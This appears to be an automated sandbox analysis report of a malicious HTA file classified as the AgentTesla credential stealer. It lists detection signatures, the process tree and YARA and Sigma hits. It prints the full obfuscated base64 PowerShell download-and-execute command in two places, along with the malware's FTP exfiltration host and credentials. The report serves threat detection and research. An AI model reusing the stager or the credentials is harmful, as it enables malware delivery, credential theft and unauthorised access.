Edit tour

Windows Analysis Report
morninghtaaaafilex.hta

Overview

General Information

Sample name:	morninghtaaaafilex.hta
Analysis ID:	1629094
MD5:	38191fe427e709654ac305d6523ab9bb
SHA1:	fdbb42e07425f82a53594ada0839cc8cd9624a3c
SHA256:	5acc5fb8b248445eec0f184a6a74a2a715646ebbfa1e53ba67fed6321eddd191
Tags:	htauser-abuse_ch
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected Powershell decode and execute

Yara detected Powershell download and execute

Yara detected VBS Downloader Generic

Check if machine is in data center or colocation facility

Command shell drops VBS files

Connects to a pastebin service (likely for C&C)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Joe Sandbox ML detected suspicious sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Legitimate Application Dropped Script

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Silenttrinity Stager Msbuild Activity

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Script Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

mshta.exe (PID: 7404 cmdline: mshta.exe "C:\Users\user\Desktop\morninghtaaaafilex.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

cmd.exe (PID: 7460 cmdline: "C:\Windows\System32\cmd.exe" /c C:\Windows\Temp\misdivide.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7512 cmdline: wscript //nologo "C:\Windows\Temp\octupole.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

powershell.exe (PID: 7624 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$Codigo = 'J#Bl#Hg#a#Bh#HU#cwB0#GU#Z##g#D0#I##n#HQ#e#B0#C4#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##2#GU#cwBh#GI#Lw#3#DE#Lg#w#DI#Mg#u#DM#Lg#y#Dk#MQ#v#C8#OgBw#HQ#d#Bo#Cc#Ow#k#HM#bgBp#HQ#d#B5#C##PQ#g#CQ#ZQB4#Gg#YQB1#HM#d#Bl#GQ#I##t#HI#ZQBw#Gw#YQBj#GU#I##n#CM#Jw#s#C##JwB0#Cc#Ow#k#HM#a#Bv#HY#ZQBs#GE#cgBk#C##PQ#g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#DE#M##w#Dc#LgBm#Gk#b#Bl#G0#YQBp#Gw#LgBj#G8#bQ#v#GE#c#Bp#C8#ZgBp#Gw#ZQ#v#Gc#ZQB0#D8#ZgBp#Gw#ZQBr#GU#eQ#9#EU#UwBZ#FQ#aQBU#FI#MwBP#D##MwBF#DU#cQBy#E0#bgBJ#Hk#eQBX#HQ#WQBm#DU#TwBN#EY#VQ#w#G0#YQBr#Hg#TQB1#D##ZQBQ#HE#UgBS#Eo#TgBp#GM#TgBq#EM#Mw#2#GE#O#BU#DI#agBH#GY#VwBU#DY#RgBF#EI#ag#1#HM#JgBw#Gs#XwB2#Gk#Z##9#DM#N##y#Dg#M##z#GQ#MQBj#GM#N#Bl#DM#Yg#4#D##MQ#3#DQ#M##2#DY#Nw#w#DU#M##4#D##YQ#1#GU#Zg#n#Ds#J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#J#Bz#HQ#aQBs#GI#ZQBu#GU#I##9#C##J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#u#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#Cg#J#Bz#Gg#bwB2#GU#b#Bh#HI#Z##p#Ds#J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bz#HQ#aQBs#GI#ZQBu#GU#KQ#7#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#CQ#bwBy#Gk#ZwBp#G4#YQBy#Hk#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#C##PQ#g#CQ#ZwBl#HI#dQBu#GQ#aQBh#Gw#b#B5#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#p#Ds#J#Bt#GU#d#Bv#G4#eQBt#HM#I##9#C##J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bv#HI#aQBn#Gk#bgBh#HI#eQ#p#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bt#GU#d#Bv#G4#eQBt#HM#I##t#Gc#d##g#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##r#D0#I##k#GU#d#Bo#G0#bwB2#G8#bQBl#HI#aQBu#GU#LgBM#GU#bgBn#HQ#a##7#CQ#cwBw#GE#YwBp#GU#cg#g#D0#I##k#G0#ZQB0#G8#bgB5#G0#cw#g#C0#I##k#G4#bwBu#GM#b#Bv#HQ#a#Bp#G4#Zw#7#CQ#cwB1#GI#agBl#GM#d##g#D0#I##k#Gc#ZQBy#HU#bgBk#Gk#YQBs#Gw#eQ#u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#L##g#CQ#cwBw#GE#YwBp#GU#cg#p#Ds#J#Bn#HI#eQBs#Gw#dQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#HM#dQBi#Go#ZQBj#HQ#KQ#7#CQ#YgBh#GM#awBj#Gg#YQBu#G4#ZQBs#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#ZwBy#Hk#b#Bs#HU#cw#p#Ds#J#Bp#G4#YwBs#GU#I##9#C##WwBk#G4#b#Bp#GI#LgBJ#E8#LgBI#G8#bQBl#F0#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#VgBB#Ek#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I#B##Cg#J#Bz#G4#aQB0#HQ#eQ#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#TQBT#EI#dQBp#Gw#Z##n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Ck#KQ#='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('#','A'))); Invoke-Expression $OWjuxd" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 7776 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 7784 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

timeout.exe (PID: 7520 cmdline: timeout /t 1 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.rvoccte.com", "Username": "mybloddycockcpanel_owner@rvoccte.com", "Password": "ft]@0i!$%!ho"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\Temp\octupole.vbs	JoeSecurity_VBS_Downloader_Generic	Yara detected VBS Downloader Generic	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.2934590223.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2934590223.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2936900255.0000000002A15000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.1853721064.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.1853721064.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: powershell.exe PID: 7624	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7624	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7624	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 7624	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: powershell.exe PID: 7624	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x605f6:$b2: ::FromBase64String( 0x611b1:$b2: ::FromBase64String( 0x628ca:$b2: ::FromBase64String( 0x63839:$b2: ::FromBase64String( 0x644a8:$b2: ::FromBase64String( 0x65066:$b2: ::FromBase64String( 0x6ba3b8:$b2: ::FromBase64String( 0x6baf77:$b2: ::FromBase64String( 0x6bbda1:$b2: ::FromBase64String( 0xac2ac3:$b2: ::FromBase64String( 0xb1e79d:$b2: ::FromBase64String( 0xb1f358:$b2: ::FromBase64String( 0xb3a236:$b2: ::FromBase64String( 0xb3adf1:$b2: ::FromBase64String( 0xb794ef:$b2: ::FromBase64String( 0xb7a0aa:$b2: ::FromBase64String( 0xc2d85e:$b2: ::FromBase64String( 0xc6b0a1:$b2: ::FromBase64String( 0xc6c479:$b2: ::FromBase64String( 0xc753c4:$b2: ::FromBase64String( 0xc8c0e9:$b2: ::FromBase64String(
Process Memory Space: MSBuild.exe PID: 7784	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7784	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.MSBuild.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.MSBuild.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.2.MSBuild.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34647:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x346b9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34743:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x347d5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3483f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x348b1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34947:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x349d7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
8.2.MSBuild.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x31783:$s2: GetPrivateProfileString 0x30d7a:$s3: get_OSFullName 0x32505:$s5: remove_Key 0x326e8:$s5: remove_Key 0x335e8:$s6: FtpWebRequest 0x34629:$s7: logins 0x34b9b:$s7: logins 0x3787e:$s7: logins 0x3795e:$s7: logins 0x392b1:$s7: logins 0x384f8:$s9: 1.85 (Hash, version 2, native byte-order)
5.2.powershell.exe.5e0e358.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.powershell.exe.5e0e358.7.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.powershell.exe.5e0e358.7.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32847:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x328b9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32943:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x329d5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32a3f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32ab1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32b47:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32bd7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.powershell.exe.5e0e358.7.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2f983:$s2: GetPrivateProfileString 0x2ef7a:$s3: get_OSFullName 0x30705:$s5: remove_Key 0x308e8:$s5: remove_Key 0x317e8:$s6: FtpWebRequest 0x32829:$s7: logins 0x32d9b:$s7: logins 0x35a7e:$s7: logins 0x35b5e:$s7: logins 0x374b1:$s7: logins 0x366f8:$s9: 1.85 (Hash, version 2, native byte-order)
5.2.powershell.exe.5e0e358.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.powershell.exe.5e0e358.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.powershell.exe.5e0e358.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34647:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x70467:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x346b9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x704d9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34743:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x70563:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x347d5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x705f5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3483f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x7065f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x348b1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x706d1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34947:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x70767:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x349d7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x707f7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.powershell.exe.5e0e358.7.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x31783:$s2: GetPrivateProfileString 0x6d5a3:$s2: GetPrivateProfileString 0x30d7a:$s3: get_OSFullName 0x6cb9a:$s3: get_OSFullName 0x32505:$s5: remove_Key 0x326e8:$s5: remove_Key 0x6e325:$s5: remove_Key 0x6e508:$s5: remove_Key 0x335e8:$s6: FtpWebRequest 0x6f408:$s6: FtpWebRequest 0x34629:$s7: logins 0x34b9b:$s7: logins 0x3787e:$s7: logins 0x3795e:$s7: logins 0x392b1:$s7: logins 0x70449:$s7: logins 0x709bb:$s7: logins 0x7369e:$s7: logins 0x7377e:$s7: logins 0x750d1:$s7: logins 0x384f8:$s9: 1.85 (Hash, version 2, native byte-order)
Click to see the 7 entries

Other

Source	Rule	Description	Author	Strings
amsi32_7624.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_7624.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$Codigo = 'J#Bl#Hg#a#Bh#HU#cwB0#GU#Z##g#D0#I##n#HQ#e#B0#C4#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##2#GU#cwBh#GI#Lw#3#DE#Lg#w#DI#Mg#u#DM#Lg#y#Dk#MQ#v#C8#OgBw#HQ#d#Bo#Cc#Ow#k#HM#bgBp#HQ#d#B5#C##PQ#g#CQ#ZQB4#Gg#YQB1#HM#d#Bl#GQ#I##t#HI#ZQBw#Gw#YQBj#GU#I##n#CM#Jw#s#C##JwB0#Cc#Ow#k#HM#a#Bv#HY#ZQBs#GE#cgBk#C##PQ#g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#DE#M##w#Dc#LgBm#Gk#b#Bl#G0#YQBp#Gw#LgBj#G8#bQ#v#GE#c#Bp#C8#ZgBp#Gw#ZQ#v#Gc#ZQB0#D8#ZgBp#Gw#ZQBr#GU#eQ#9#EU#UwBZ#FQ#aQBU#FI#MwBP#D##MwBF#DU#cQBy#E0#bgBJ#Hk#eQBX#HQ#WQBm#DU#TwBN#EY#VQ#w#G0#YQBr#Hg#TQB1#D##ZQBQ#HE#UgBS#Eo#TgBp#GM#TgBq#EM#Mw#2#GE#O#BU#DI#agBH#GY#VwBU#DY#RgBF#EI#ag#1#HM#JgBw#Gs#XwB2#Gk#Z##9#DM#N##y#Dg#M##z#GQ#MQBj#GM#N#Bl#DM#Yg#4#D##MQ#3#DQ#M##2#DY#Nw#w#DU#M##4#D##YQ#1#GU#Zg#n#Ds#J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#J#Bz#HQ#aQBs#GI#ZQBu#GU#I##9#C##J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#u#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#Cg#J#Bz#Gg#bwB2#GU#b#Bh#HI#Z##p#Ds#J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bz#HQ#aQBs#GI#ZQBu#GU#KQ#7#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#CQ#bwBy#Gk#ZwBp#G4#YQBy#Hk#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#C##PQ#g#CQ#ZwBl#HI#dQBu#GQ#aQBh#Gw#b#B5#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#p#Ds#J#Bt#GU#d#Bv#G4#eQBt#HM#I##9#C##J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bv#HI#aQBn#Gk#bgBh#HI#eQ#p#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bt#GU#d#Bv#G4#eQBt#HM#I##t#Gc#d##g#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##r#D0#I##k#GU#d#Bo#G0#bwB2#G8#bQBl#HI#aQBu#GU#LgBM#GU#bgBn#HQ#a##7#CQ#cwBw#GE#YwBp#GU#cg#g#D0#I##k#G0#ZQB0#G8#bgB5#G0#cw#g#C0#I##k#G4#bwBu#GM#b#Bv#HQ#a#Bp#G4#Zw#7#CQ#cwB1#GI#agBl#GM#d##g#D0#I##k#Gc#ZQBy#HU#bgBk#Gk#YQBs#Gw#eQ#u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#L##g#CQ#cwBw#GE#YwBp#GU#cg#p#Ds#J#Bn#HI#eQBs#Gw#dQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#HM#dQBi#Go#ZQBj#HQ#KQ#7#CQ#YgBh#GM#awBj#Gg#YQBu#G4#ZQBs#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#ZwBy#Hk#b#Bs#HU#cw#p#Ds#J#Bp#G4#YwBs#GU#I##9#C##WwBk#G4#b#Bp#GI#LgBJ#E8#LgBI#G8#bQBl#F0#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#VgBB#Ek#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I#B##Cg#J#Bz#G4#aQB0#HQ#eQ#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#TQBT#EI#dQBp#Gw#Z##n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Ck#KQ#='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('#','A'))); In

Sigma detected: Legitimate Application Dropped Script

Source: File created

Author: frack113, Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\mshta.exe, ProcessId: 7404, TargetFilename: C:\Windows\Temp\misdivide.bat

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 23.186.113.60, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 7512, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49733

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: wscript //nologo "C:\Windows\Temp\octupole.vbs", CommandLine: wscript //nologo "C:\Windows\Temp\octupole.vbs", CommandLine|base64offset|contains: +, Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c C:\Windows\Temp\misdivide.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7460, ParentProcessName: cmd.exe, ProcessCommandLine: wscript //nologo "C:\Windows\Temp\octupole.vbs", ProcessId: 7512, ProcessName: wscript.exe

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 208.95.112.1, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7784, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49736

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\cmd.exe" /c C:\Windows\Temp\misdivide.bat, CommandLine: "C:\Windows\System32\cmd.exe" /c C:\Windows\Temp\misdivide.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\morninghtaaaafilex.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7404, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c C:\Windows\Temp\misdivide.bat, ProcessId: 7460, ProcessName: cmd.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

